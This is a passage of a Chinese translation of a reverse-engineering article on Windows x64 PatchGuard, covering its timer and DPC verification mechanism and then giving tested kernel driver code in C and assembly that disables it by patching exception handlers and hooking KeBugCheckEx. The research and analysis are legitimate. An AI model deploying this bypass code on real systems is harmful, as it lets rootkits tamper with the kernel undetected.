選中驗(yàn)證函數(shù)后,primary PG context就會(huì)被加密了。加密完成后,nt!KiInitializePatchGuard ()函數(shù)就會(huì)初始化一個(gè)timer,這個(gè)timer就會(huì)利用之前分配的那些sub-contexts。初始化這個(gè)timer的函數(shù)正是nt!KeInitializeTimer(),而傳遞給它的指向timer結(jié)構(gòu)體的指針的實(shí)參實(shí)際上是sub-context結(jié)構(gòu)體的一部分。初始化一結(jié)束,這個(gè)timer結(jié)構(gòu)體之后0x88處的值是0x1131(WORD)。經(jīng)過(guò)反匯編,這2個(gè)字節(jié)被傳遞給“xor [rcx], edx”指令。再看看nt!CmpAppendDllSection()函數(shù),你會(huì)發(fā)現(xiàn)它的第一條指令正好包含0x1131:
kd> u nt!CmpAppendDllSection l 1
nt!CmpAppendDllSection:
fffff800`041b513e 2e483111? ?? ???xor? ???qword ptr cs:[rcx],rdx? ? ? ? //第一條指令
kd> dw nt!CmpAppendDllSection l 2
fffff800`041b513e??482e 1131
現(xiàn)在還沒(méi)發(fā)現(xiàn)有什么用,也許后面會(huì)用到……
初始化timer結(jié)構(gòu)體后,PG就開(kāi)始調(diào)用nt!PgInitializeTimer ()函數(shù)將timer加入隊(duì)列中,以等候處理。該函數(shù)的定義如下:
VOID PgInitializeTimer(
? ? IN PPATCHGUARD_CONTEXT Context,
? ? IN PVOID EncryptedContext,
? ? IN ULONG64 XorKey,
? ? IN ULONG UnknownZero);
nt!PgInitializeTimer ()這個(gè)函數(shù)做了一些比較奇怪的事。首先,初始化timer的DPC竟然是之前從primary PG context中隨機(jī)選取的驗(yàn)證函數(shù)(取名DeferredRoutine)。其中,有兩個(gè)實(shí)參會(huì)傳遞給DeferredRoutine()函數(shù):EncryptedContext指針和XorKey。DeferredRoutine()函數(shù)會(huì)將這兩個(gè)參數(shù)做XOR操作,從而產(chǎn)生一個(gè)徹頭徹尾的偽指針(completely bogus pointer)。這個(gè)偽指針又會(huì)被當(dāng)作DeferredContext實(shí)參傳遞給nt!KeInitializeDpc()函數(shù)。最終的偽代碼如下:
KeInitializeDpc(
? ? &Dpc,
? ? Context->TimerDpcRoutine,
? ? EncryptedContext ^ ~(XorKey << UnknownZero));
初始化DPC后,就是調(diào)用nt!KeSetTimer()函數(shù)將DPC加入隊(duì)列了。DPC的DueTime參數(shù)也是隨機(jī)產(chǎn)生的。設(shè)置好timer后,nt!PgInitializeTimer()函數(shù)就返回了。
到此時(shí),nt! KiInitializePatchGuard()函數(shù)就完成了它的使命,并返回到nt!KiFilterFiberContext ()函數(shù)中。那么這個(gè)除法錯(cuò)誤就得到了糾正且恢復(fù)執(zhí)行nt!KiDivide6432()函數(shù)中的div指令的下一條指令了。系統(tǒng)就可以正常啟動(dòng)了???。
然而到目前為止,工作才完成了一半???!接下來(lái)的問(wèn)題是這個(gè)驗(yàn)證程序是如何被調(diào)用起來(lái)的。很明顯,這與DPC例程相關(guān)。我們知道這個(gè)驗(yàn)證程序是從primary PG context中隨機(jī)選取的,事實(shí)上定位這個(gè)函數(shù)指針數(shù)組的方法是反匯編nt! KiInitializePatchGuard()函數(shù):
nt!KiDivide6432+0xec3:
fffff800‘01423e74 8bc1 mov eax,ecx
fffff800‘01423e76 488d0d83c1bdff lea rcx,[nt]
fffff800‘01423e7d 488b84c128044300 mov rax,[rcx+rax*8+0x430428]
同樣,隱藏pool tag array數(shù)組所采用的技術(shù)與此相同。即nt基地址+0x430428即可得DPC函數(shù):
lkd> dqs nt+0x430428 L3
fffff800‘01430428 fffff800‘01033b10 nt!KiScanReadyQueues
fffff800‘01430430 fffff800‘011010e0 nt!ExpTimeRefreshDpcRoutine? ? ? ? //三個(gè)中,此易于理解
fffff800‘01430438 fffff800‘0101dd10 nt!ExpTimeZoneDpcRoutine
從以上信息只能推測(cè)出這些DPC函數(shù)的可能排列,但還沒(méi)有從本質(zhì)上說(shuō)明如何引導(dǎo)這些驗(yàn)證context的函數(shù)執(zhí)行起來(lái)。
從邏輯上講,下一步是理解這些函數(shù)如何基于DeferredContext參數(shù)(從nt!PgInitializeTimer ()函數(shù)傳遞而來(lái))進(jìn)行操作。這個(gè)DeferredContext就指向被加密關(guān)鍵字XOR過(guò)的PG context。以上三個(gè)函數(shù)中,就nt!ExpTimeRefreshDpcRoutine ()函數(shù)易于理解。nt!ExpTimeRefreshDpcRoutine ()函數(shù)的開(kāi)始幾條反匯編指令如下:
lkd> u nt!ExpTimeRefreshDpcRoutine? ? ? ? //我的OS上的指令與之不同,保持與原文一致
nt!ExpTimeRefreshDpcRoutine:
fffff800‘011010e0 48894c2408 mov [rsp+0x8],rcx
fffff800‘011010e5 4883ec68 sub rsp,0x68
fffff800‘011010e9 b801000000 mov eax,0x1
fffff800‘011010ee 0fc102 xadd [rdx],eax
fffff800‘011010f1 ffc0 inc eax
fffff800‘011010f3 83f801 cmp eax,0x1
DeferredRoutine()函數(shù)的第一個(gè)參數(shù)是一個(gè)DPC指針,第二個(gè)參數(shù)是一個(gè)DeferredContext指針。根據(jù)x64函數(shù)調(diào)用約定,rcx保存的就相當(dāng)于是DPC指針,rdx保存的就相當(dāng)于是DeferredContext指針。但這會(huì)有一個(gè)問(wèn)題???!這個(gè)函數(shù)的第4條指令試圖在DeferredContext的第一部分上執(zhí)行xadd指令。根據(jù)之前的介紹,傳遞給DPC例程的DeferredContext是一個(gè)徹頭徹尾的偽指針,這是不是就意味著反引用(de-reference)這個(gè)指針就會(huì)立即BSoD呢?顯然不是的,這就是另外一個(gè)通過(guò)觸發(fā)異常進(jìn)行間接引用(misdirection case)的杰作!
事實(shí)上,nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()和 nt!KiScanReadyQueues()函數(shù)都是相當(dāng)合法的,只是沒(méi)有直接做什么事情而已,而是間接地執(zhí)行了一些code。這三個(gè)函數(shù)所做的事就是反引用(de-reference)DeferredContext指針:
lkd> u fffff800‘01033b43 L1
nt!KiScanReadyQueues+0x33:
fffff800‘01033b43 8b02 mov eax,[rdx]
lkd> u fffff800‘0101dd1e L1
nt!ExpTimeZoneDpcRoutine+0xe:
fffff800‘0101dd1e 0fc102 xadd [rdx],eax
一旦DeferredContext操作指針,就會(huì)產(chǎn)生一個(gè)一般保護(hù)異常(General Protection Fault),這個(gè)異常會(huì)傳遞給nt!KiGeneralProtectionFault()函數(shù)。這個(gè)函數(shù)最終會(huì)執(zhí)行異常處理函數(shù),這個(gè)異常處理函數(shù)與觸發(fā)這個(gè)錯(cuò)誤的函數(shù)(如nt!ExpTimeRefreshDpcRoutine())有關(guān)聯(lián)。在x64系統(tǒng)上,這個(gè)異常處理code與32-bit系統(tǒng)上的完全不同。這些函數(shù)并不是在運(yùn)行時(shí)注冊(cè)異常處理函數(shù)(exception handlers),而是在函數(shù)編譯的過(guò)程中就指定了異常處理函數(shù)。這樣做的好處是這些函數(shù)可以通過(guò)標(biāo)準(zhǔn)的API來(lái)查詢,如nt!RtlLookupFunctionEntry()。這個(gè)函數(shù)將查詢的目標(biāo)函數(shù)的信息存放在RUNTIME_FUNCTION結(jié)構(gòu)體中并返回之。要注意這個(gè)結(jié)構(gòu)體中還包含一些很重要的unwind信息。這個(gè)unwind信息中就包含了異常處理函數(shù)的地址。你可以通過(guò)以下方式來(lái)查看nt!ExpTimeRefreshDpcRoutine()函數(shù)的異常處理函數(shù):
lkd> .fnent nt!ExpTimeRefreshDpcRoutine
Debugger function entry 00000000‘01cdaa4c for:
(fffff800‘011010e0) nt!ExpTimeRefreshDpcRoutine |
(fffff800‘011011d0) nt!ExpCenturyDpcRoutine
Exact matches:
nt!ExpTimeRefreshDpcRoutine = <no type information>
BeginAddress = 00000000‘001010e0
EndAddress = 00000000‘0010110d
UnwindInfoAddress = 00000000‘00131274
lkd> u nt + dwo(nt + 00131277 + (by(nt + 00131276) * 2) + 13)
nt!ExpTimeRefreshDpcRoutine+0x40:
fffff800‘01101120 8bc0 mov eax,eax
fffff800‘01101122 55 push rbp
fffff800‘01101123 4883ec30 sub rsp,0x30
fffff800‘01101127 488bea mov rbp,rdx
fffff800‘0110112a 48894d50 mov [rbp+0x50],rcx
仔細(xì)查看這個(gè)異常處理函數(shù)后,好像它在特定的條件下就會(huì)調(diào)用nt!KeBugCheckEx()函數(shù),且BSoD code是 0x109。當(dāng)你試圖篡改關(guān)鍵的結(jié)構(gòu)體時(shí),PG就會(huì)通過(guò)這個(gè)藍(lán)屏碼(0x109)來(lái)指示藍(lán)屏信息。
以上三個(gè)函數(shù)的異常處理函數(shù)相當(dāng)類(lèi)似,且執(zhí)行的是相同的操作。如果DeferredContext沒(méi)有被修改過(guò),則異常處理函數(shù)最終就會(huì)調(diào)用執(zhí)行備份在INITKDB節(jié)中的保護(hù)context的代碼,尤其是nt!FsRtlUninitializeSmallMcb ()函數(shù),這個(gè)函數(shù)就負(fù)責(zé)調(diào)用各個(gè)驗(yàn)證sub-context的函數(shù)。
3.5.? ? ? ? 報(bào)告驗(yàn)證不一致(Reporting Verification Inconsistencies)
PG檢測(cè)到關(guān)鍵結(jié)構(gòu)體被改變后,其就會(huì)調(diào)用nt!SdpCheckDll()函數(shù)(code-copy version是什么版本,不敢妄猜,反正是個(gè)函數(shù))。傳遞給這個(gè)函數(shù)的參數(shù)之后也會(huì)通過(guò)函數(shù)地址表(function table)傳遞給nt!KeBugCheckEx ()函數(shù)。這里的function table是存放在PG context中的。nt!SdpCheckDll()函數(shù)的作用是在跳轉(zhuǎn)到nt!KeBugCheckEx ()函數(shù)前將當(dāng)前幀(current frame)之前的所有寄存器和棧都清0(原文:The purpose of nt!SdbpCheckDll is to zero out the stack and all of the registers prior to the current frame before jumping to nt!KeBugCheckEx.)。這樣做的目的可能是防止第三方驅(qū)動(dòng)檢測(cè)并根據(jù)bug check report修復(fù)棧吧。如果檢測(cè)順利且沒(méi)有不一致的情況,則該函數(shù)會(huì)創(chuàng)建一個(gè)新的PG context并再次設(shè)置timer,使用的DPC函數(shù)就是第一次隨機(jī)選中的那個(gè)函數(shù)。
繞過(guò)64位windows系統(tǒng)的PatchGuard
了解了PG的大多數(shù)關(guān)鍵性的保護(hù)原理后,下一個(gè)目標(biāo)就是看是否有方法繞過(guò)PG了,主要是想方設(shè)法禁用或欺騙驗(yàn)證函數(shù)。你可以自己創(chuàng)建一個(gè)boot loader,讓它在PG初始化之前就運(yùn)行;也可以修改ntoskrnl.exe,以完全剔除PG初始化。本文采用的方法既不需要憑借入侵操作,也不要去重啟系統(tǒng)。事實(shí)上,最初的目標(biāo)是創(chuàng)建一個(gè)單獨(dú)的函數(shù),或幾個(gè)函數(shù),并采用某種方法將這個(gè)或這幾個(gè)函數(shù)拋給設(shè)備驅(qū)動(dòng)(device drivers),讓它們能夠調(diào)用一個(gè)函數(shù)以禁用PG的保護(hù)功能,這樣驅(qū)動(dòng)開(kāi)發(fā)者依然可以使用現(xiàn)有的hook關(guān)鍵結(jié)構(gòu)體的方法進(jìn)行hook。
要注意本文所列舉的一些方法沒(méi)有經(jīng)過(guò)測(cè)試且只是理論上的方法,本文只介紹經(jīng)過(guò)測(cè)試的方法。在深入介紹這個(gè)特定的繞過(guò)PG的方法前,還需要考慮禁用正在運(yùn)行的(on the fly)PG的幾個(gè)技術(shù)。第一:驗(yàn)證函數(shù)是如何被調(diào)用起來(lái)的,且是依據(jù)什么來(lái)完成驗(yàn)證過(guò)程的。在這種情況下,驗(yàn)證函數(shù)是保存在一個(gè)timer的context中進(jìn)行運(yùn)行的,這個(gè)timer與一個(gè)DPC相關(guān)聯(lián),而這個(gè)DPC又是由一個(gè)系統(tǒng)工作線程(system worker thread)調(diào)用的。最終就會(huì)調(diào)用到異常處理函數(shù)。這個(gè)DPC例程就是從primary PG context中的一塊函數(shù)地址數(shù)組中隨機(jī)選擇來(lái)的,這個(gè)timer對(duì)象的超時(shí)值DueTime也是隨機(jī)產(chǎn)生的。如此種種都是為了增加被檢測(cè)的難度!
撇開(kāi)這個(gè)驗(yàn)證函數(shù)不說(shuō),我們還知道當(dāng)PG檢測(cè)到關(guān)鍵結(jié)構(gòu)體不一致時(shí)會(huì)調(diào)用nt!KeBugCheckEx()函數(shù)(0x109)以讓系統(tǒng)藍(lán)屏。知道了這些小邊信息,繞過(guò)PG的思路就更寬了。
4.1.? ? ? ? Hooking異常處理函數(shù)(Exception Handler Hooking)
既然這個(gè)驗(yàn)證函數(shù)間接依賴(lài)這三個(gè)timer DPC例程的異常處理函數(shù)來(lái)執(zhí)行,那么改變每個(gè)異常處理函數(shù)以讓它們不做任何處理就變得合情合理了。也就是說(shuō)即使DPC例程觸發(fā)了一般保護(hù)錯(cuò)誤異常(general protection fault),異常處理函數(shù)會(huì)被調(diào)用,但其不會(huì)做任何驗(yàn)證檢測(cè)。經(jīng)測(cè)試,這個(gè)方法有效(在當(dāng)前版本的PG)。
實(shí)現(xiàn)這個(gè)方法的第一步就是找到已知與PG相關(guān)聯(lián)的函數(shù)列表。直到今天,這個(gè)列表也只包含那三個(gè)函數(shù),但將來(lái)有可能不是。找到這個(gè)函數(shù)數(shù)組后,還需要找到每個(gè)函數(shù)的異常處理函數(shù),并修改每個(gè)異常處理函數(shù)以返回真(return 0x1)。這個(gè)方法的算法如下:
static CHAR CurrentFakePoolTagArray[] = "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"; //有空格
NTSTATUS DisablePatchGuard()
{? ?? ?? ?? ?
? ? UNICODE_STRING SymbolName;
? ? NTSTATUS Status = STATUS_SUCCESS;
? ? PVOID * DpcRoutines = NULL;
? ? PCHAR NtBaseAddress = NULL;
? ? ULONG Offset;
? ? RtlInitUnicodeString(
? ?? ???&SymbolName,
? ?? ???L"__C_specific_handler");
? ? do
? ? {
? ?? ???//
? ?? ???// Get the base address of nt
? ?? ???//
? ?? ???if (!RtlPcToFileHeader(
? ?? ?? ?? ?MmGetSystemRoutineAddress(&SymbolName),
? ?? ?? ?? ?(PCHAR *)&NtBaseAddress))
? ?? ???{
? ?? ?? ?? ?Status = STATUS_INVALID_IMAGE_FORMAT;
? ?? ?? ?? ?break;
? ?? ???}
? ?? ???
? ?? ???//
? ?? ???// Search the image to find the first occurrence of:
? ?? ???//
? ?? ???// "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"
? ?? ???//
? ?? ???// This is the fake tag pool array that is used to allocate protection contexts.
? ?? ???//
? ?? ???__try
? ?? ???{
? ?? ?? ?? ?for (Offset = 0; !DpcRoutines;??Offset += 4)
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? //
? ?? ?? ?? ?? ? // If we find a match for the fake pool tag array, the DPC routine
? ?? ?? ?? ?? ? // addresses will immediately follow.
? ?? ?? ?? ?? ? //
? ?? ?? ?? ?? ? if (memcmp(
? ?? ?? ?? ?? ?? ???NtBaseAddress + Offset,
? ?? ?? ?? ?? ?? ???CurrentFakePoolTagArray,
? ?? ?? ?? ?? ?? ???sizeof(CurrentFakePoolTagArray) - 1) == 0)
? ?? ?? ?? ?? ? {
? ?? ?? ?? ?? ?? ???DpcRoutines = (PVOID *)(NtBaseAddress +
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?Offset + sizeof(CurrentFakePoolTagArray) + 3);
? ?? ?? ?? ?? ? }
? ?? ?? ?? ?}
? ?? ???}
? ?? ???__except(EXCEPTION_EXECUTE_HANDLER)
? ?? ???{
? ?? ?? ?? ?//
? ?? ?? ?? ?// If an exception occurs, we failed to find it. Time to bail out.
? ?? ?? ?? ?//
? ?? ?? ?? ?Status = GetExceptionCode();
? ?? ?? ?? ?break;
? ?? ???}
? ?? ???DebugPrint(("DPC routine array found at %p.",DpcRoutines));
? ?? ???//
? ?? ???// Walk the DPC routine array.
? ?? ???//
? ?? ???for (Offset = 0; DpcRoutines[Offset] && NT_SUCCESS(Status); Offset++)
? ?? ???{
? ?? ?? ?? ?PRUNTIME_FUNCTION Function;
? ?? ?? ?? ?ULONG64 ImageBase;
? ?? ?? ?? ?PCHAR UnwindBuffer;
? ?? ?? ?? ?UCHAR CodeCount;
? ?? ?? ?? ?ULONG HandlerOffset;
? ?? ?? ?? ?PCHAR HandlerAddress;
? ?? ?? ?? ?PVOID LockedAddress;
? ?? ?? ?? ?PMDL Mdl;
? ?? ?? ?? ?? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// If we find no function entry, then go on to the next entry.
? ?? ?? ?? ?//
? ?? ?? ?? ?if ((!(Function = RtlLookupFunctionEntry(
? ?? ?? ?? ?? ???(ULONG64)DpcRoutines[Offset],
? ?? ?? ?? ?? ???&ImageBase,
? ?? ?? ?? ?? ???NULL))) || (!Function->UnwindData))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? Status = STATUS_INVALID_IMAGE_FORMAT;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Grab the unwind exception handler address if we’re able to find one.
? ?? ?? ?? ?//
? ?? ?? ?? ?UnwindBuffer = (PCHAR)(ImageBase + Function->UnwindData);
? ?? ?? ?? ?CodeCount = UnwindBuffer[2];
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// The handler offset is found within the unwind data that is specific
? ?? ?? ?? ?// to the language in question. Specifically, it’s +0x10 bytes into
? ?? ?? ?? ?// the structure not including the UNWIND_INFO structure itself and any
? ?? ?? ?? ?// embedded codes (including padding). The calculation below accounts
? ?? ?? ?? ?// for all these and padding.
? ?? ?? ?? ?//
? ?? ?? ?? ?HandlerOffset = *(PULONG)((ULONG64)(UnwindBuffer + 3 +
? ?? ?? ?? ?? ?? ?? ?? ?? ???(CodeCount * 2) + 20) & ~3);
? ?? ?? ?? ?? ?? ???
? ?? ?? ?? ?//
? ?? ?? ?? ?// calculate the full address of the handler to patch.
? ?? ?? ?? ?//
? ?? ?? ?? ?HandlerAddress = (PCHAR)(ImageBase + HandlerOffset);
? ?? ?? ?? ?DebugPrint(("Exception handler for %p found at %p (unwind %p).",
? ?? ?? ?? ?? ? DpcRoutines[Offset],
? ?? ?? ?? ?? ? HandlerAddress,
? ?? ?? ?? ?? ? UnwindBuffer));
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Finally, patch the routine to simply return with 1. We’ll patch with:
? ?? ?? ?? ?//
? ?? ?? ?? ?// 6A01 push byte 0x1
? ?? ?? ?? ?// 58 pop eax
? ?? ?? ?? ?// C3 ret
? ?? ?? ?? ?//
? ?? ?? ?? ?? ?? ???
? ?? ?? ?? ?//
? ?? ?? ?? ?// Allocate a memory descriptor for the handler’s address.
? ?? ?? ?? ?//
? ?? ?? ?? ?if (!(Mdl = MmCreateMdl( NULL, (PVOID)HandlerAddress, 4)))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? Status = STATUS_INSUFFICIENT_RESOURCES;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Construct the Mdl and map the pages for kernel-mode access.
? ?? ?? ?? ?//
? ?? ?? ?? ?MmBuildMdlForNonPagedPool(Mdl);
? ?? ?? ?? ?if (!(LockedAddress = MmMapLockedPages(Mdl, KernelMode)))
? ?? ?? ?? ?{
? ?? ?? ?? ?? ? IoFreeMdl(Mdl);
? ?? ?? ?? ?? ? Status = STATUS_ACCESS_VIOLATION;
? ?? ?? ?? ?? ? continue;
? ?? ?? ?? ?}
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Interlocked exchange the instructions we’re overwriting with.
? ?? ?? ?? ?//
? ?? ?? ?? ?InterlockedExchange((PLONG)LockedAddress, 0xc358016a);
? ?? ?? ?? ?? ?
? ?? ?? ?? ?//
? ?? ?? ?? ?// Unmap and destroy the MDL
? ?? ?? ?? ?//
? ?? ?? ?? ?MmUnmapLockedPages(LockedAddress,Mdl);
? ?? ?? ?? ?IoFreeMdl(Mdl);
? ?? ???} //for
? ? } while (0);
? ? return Status;
}
這個(gè)方法的優(yōu)點(diǎn)是其比較小且相對(duì)簡(jiǎn)單,容錯(cuò)能力也比較強(qiáng)。缺點(diǎn)是其要求pool tag數(shù)組剛好就在DPC函數(shù)地址數(shù)組之前且緊挨著,且尋找pool tag數(shù)組依賴(lài)于一個(gè)固定值,而微軟將來(lái)完全有可能消除該固定值。鑒于這些原因,在產(chǎn)品中最好不要使用該方法。
4.2.? ? ? ? Hooking KeBugCheckEx
PG保護(hù)無(wú)法避免的一個(gè)事實(shí)就是其必須以某種方法報(bào)告驗(yàn)證不一致。事實(shí)上,這個(gè)方法在檢測(cè)到打補(bǔ)丁的操作后,必須關(guān)閉系統(tǒng),以防止第三方廠商繼續(xù)運(yùn)行代碼。這種方法就是調(diào)用nt!KeBugCheckEx()函數(shù),bug check code就是之前的0x109。這里采用BSoD,而不是黑屏、直接關(guān)機(jī)或重啟系統(tǒng)的目的是讓用戶知道發(fā)生了什么。(微軟還是很厚道的~~~)
本文的作者想繞過(guò)這個(gè)技術(shù)的第一個(gè)想法就是讓nt!KeBugCheckEx()函數(shù)返回到調(diào)用者的調(diào)用幀(caller’s caller frame)中。這樣做是有必要的,在調(diào)用nt!KeBugCheckEx()函數(shù)后,因?yàn)榫幾g器立即插入了一個(gè)調(diào)試器陷阱(debugger trap),所以就不可能返回到調(diào)用者那里了,但還是有可能返回到調(diào)用者的調(diào)用幀中。舉個(gè)例:FuncA調(diào)用FuncB,FuncB觸發(fā)異常,導(dǎo)致nt!KeBugCheckEx()函數(shù)被調(diào)用,在不能回到FuncB的情況下,我們讓它回到FuncA的幀中(caller’s call frame)。但是,我們之前已說(shuō)過(guò),PG已經(jīng)將調(diào)用nt!KeBugCheckEx()函數(shù)之前的棧都清0了。因此,想hook nt!KeBugCheckEx()函數(shù)似乎是死路一條。恰恰相反,不是!(被作者嚇出一身冷汗???~~~)
由此衍生出一種方法,你不用擔(dān)心存儲(chǔ)在寄存器或棧上的context,而是利用“每個(gè)線程都會(huì)保留其自身的入口點(diǎn)地址”這個(gè)特征。對(duì)于系統(tǒng)工作線程(system worker threads),這個(gè)入口點(diǎn)通常就指向nt!ExpWorkerThread ()這樣的函數(shù)。因?yàn)橛卸鄠€(gè)系統(tǒng)工作線程都指向nt!ExpWorkerThread (),該如何是好?不用擔(dān)心。傳遞給這個(gè)函數(shù)的context參數(shù)與具體的線程不相干,因?yàn)橄到y(tǒng)工作線程只是用來(lái)處理工作項(xiàng)(work items)和超時(shí)的DPC例程。知道了這一點(diǎn),這個(gè)方法歸結(jié)起來(lái),就是hook nt!KeBugCheckEx()函數(shù)并判斷bug check code是否是0x109。如果不是0x109,則直接調(diào)用原始的nt!KeBugCheckEx()函數(shù)。如果是0x109,則這個(gè)線程可以重啟,重啟的方法是修復(fù)這個(gè)調(diào)用線程的棧指針(當(dāng)前棧指針減0x8),然后跳轉(zhuǎn)到這個(gè)線程的StartAddress處。這樣做的結(jié)果是,線程繼續(xù)回去一如既往地處理work items和超時(shí)的DPC例程。
有個(gè)很明顯的方法就是簡(jiǎn)單地結(jié)束這個(gè)調(diào)用線程,但這樣做是不可能的。因?yàn)镺S會(huì)持續(xù)跟蹤系統(tǒng)工作線程并檢測(cè)其中是否有退出的。系統(tǒng)工作線程的退出會(huì)導(dǎo)致系統(tǒng)BSoD。Hook nt!KeBugCheckEx()函數(shù)的算法如下:
== ext.asm==============
.data
EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC
.code
;
; Points the stack pointer at the supplied argument and returns to the caller.
;
public AdjustStackCallPointer
AdjustStackCallPointer PROC
mov rsp, rcx
xchg r8, rcx
jmp rdx
AdjustStackCallPointer ENDP
;
; Wraps the overwritten preamble of KeBugCheckEx.
;
public OrigKeBugCheckEx
OrigKeBugCheckEx PROC
mov [rsp+8h], rcx
mov [rsp+10h], rdx
mov [rsp+18h], r8
lea rax, [OrigKeBugCheckExRestorePointer]
jmp qword ptr [rax]
OrigKeBugCheckEx ENDP
END
== antipatch.c===========
//
// Both of these routines reference the assembly code described
// above
//
extern VOID OrigKeBugCheckEx(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4);
extern VOID AdjustStackCallPointer(
IN ULONG_PTR NewStackPointer,
IN PVOID StartAddress,
IN PVOID Argument);
//
// mov eax, ptr
// jmp eax
//
static CHAR HookStub[] =
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";
//
// The offset into the ETHREAD structure that holds the start routine.
//
static ULONG ThreadStartRoutineOffset = 0;
//
// The pointer into KeBugCheckEx after what has been overwritten by the hook.
//
PVOID OrigKeBugCheckExRestorePointer;
VOID KeBugCheckExHook(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4)
{
PUCHAR LockedAddress;
PCHAR ReturnAddress;
PMDL Mdl = NULL;
//
// Call the real KeBugCheckEx if this isn’t the bug check code we’re looking
// for.
//
if (BugCheckCode != 0x109)
{
DebugPrint(("Passing through bug check %.4x to %p.",
BugCheckCode,
OrigKeBugCheckEx));
OrigKeBugCheckEx(
BugCheckCode,
BugCheckParameter1,
BugCheckParameter2,
BugCheckParameter3,
BugCheckParameter4);
}
else
{
PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
PVOID StartRoutine = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);
PVOID StackPointer = IoGetInitialStack();
DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).",
PsGetCurrentThread(),
StartRoutine,
StackPointer,
ThreadStartRoutineOffset));
//
// Shift the stack pointer back to its initial value and call the routine. We
// subtract eight to ensure that the stack is aligned properly as thread
// entry point routines would expect.
//
AdjustStackCallPointer((ULONG_PTR)StackPointer - 0x8,
StartRoutine,
NULL);
}
//
// In either case, we should never get here.
//
__debugbreak();
}
VOID DisablePatchProtectionSystemThreadRoutine(
IN PVOID Nothing)
{
UNICODE_STRING SymbolName;
NTSTATUS Status = STATUS_SUCCESS;
PUCHAR LockedAddress;
PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();
PCHAR KeBugCheckExSymbol;
PMDL Mdl = NULL;
RtlInitUnicodeString(
&SymbolName,
L"KeBugCheckEx");
do
{
//
// Find the thread’s start routine offset.
//
for (ThreadStartRoutineOffset = 0;
ThreadStartRoutineOffset < 0x1000;
ThreadStartRoutineOffset += 4)
{
if (*(PVOID **)(CurrentThread +
ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine)
break;
}
DebugPrint(("Thread start routine offset is 0x%.4x.",
ThreadStartRoutineOffset));
//
// If we failed to find the start routine offset for some strange reason,
// then return not supported.
//
if (ThreadStartRoutineOffset >= 0x1000)
{
Status = STATUS_NOT_SUPPORTED;
break;
}
//
// Get the address of KeBugCheckEx.
//
if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(&SymbolName)))
{
Status = STATUS_PROCEDURE_NOT_FOUND;
break;
}
//
// Calculate the restoration pointer.
//
OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);
//
// Create an initialize the MDL.
//
if (!(Mdl = MmCreateMdl(
NULL,
(PVOID)KeBugCheckExSymbol,
0xf)))
{
Status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
MmBuildMdlForNonPagedPool(
Mdl);
//
// Probe & Lock.
//
if (!(LockedAddress = (PUCHAR)MmMapLockedPages(
Mdl,
KernelMode)))
{
IoFreeMdl(
Mdl);
Status = STATUS_ACCESS_VIOLATION;
break;
}
//
// Set the aboslute address to our hook.
//
*(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;
DebugPrint(("Copying hook stub to %p from %p (Symbol %p).",
LockedAddress,
HookStub,
KeBugCheckExSymbol));
//
// Copy the relative jmp into the hook routine.
//
RtlCopyMemory(
LockedAddress,
HookStub,
0xf);
//
// Cleanup the MDL.
//
MmUnmapLockedPages(
LockedAddress,
Mdl);
IoFreeMdl(
Mdl);
} while (0);
}
//
// A pointer to KeBugCheckExHook
//
PVOID KeBugCheckExHookPointer = KeBugCheckExHook;
NTSTATUS DisablePatchProtection() {
OBJECT_ATTRIBUTES Attributes;
NTSTATUS Status;
HANDLE ThreadHandle = NULL;
InitializeObjectAttributes(
&Attributes,
NULL,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
//
// Create the system worker thread so that we can automatically find the
// offset inside the ETHREAD structure to the thread’s start routine.
//
Status = PsCreateSystemThread(
&ThreadHandle,
THREAD_ALL_ACCESS,
&Attributes,
NULL,
NULL,
DisablePatchProtectionSystemThreadRoutine,
NULL);
if (ThreadHandle)
ZwClose(
ThreadHandle);
return Status;
}
該方法經(jīng)測(cè)試,可以有效繞過(guò)目前版本的PG。這個(gè)方法的優(yōu)點(diǎn)是其不依賴(lài)任何非導(dǎo)出的依存關(guān)系或標(biāo)識(shí)(un-exported dependencies或者signatures),在性能上是零損失的,因?yàn)閚t!KeBugCheckEx()函數(shù)從不會(huì)調(diào)用,除非系統(tǒng)崩潰了,并且其也不會(huì)受到競(jìng)爭(zhēng)條件的限制。唯一的缺點(diǎn)是期取決于系統(tǒng)工作線程的行為,以及在恢復(fù)線程的入口點(diǎn)后再執(zhí)行時(shí),如果傳入的是一個(gè)NULL context,這個(gè)安全性無(wú)法確認(rèn)。目前認(rèn)為是安全的。
要使這個(gè)方法失效,微軟要做幾件事:
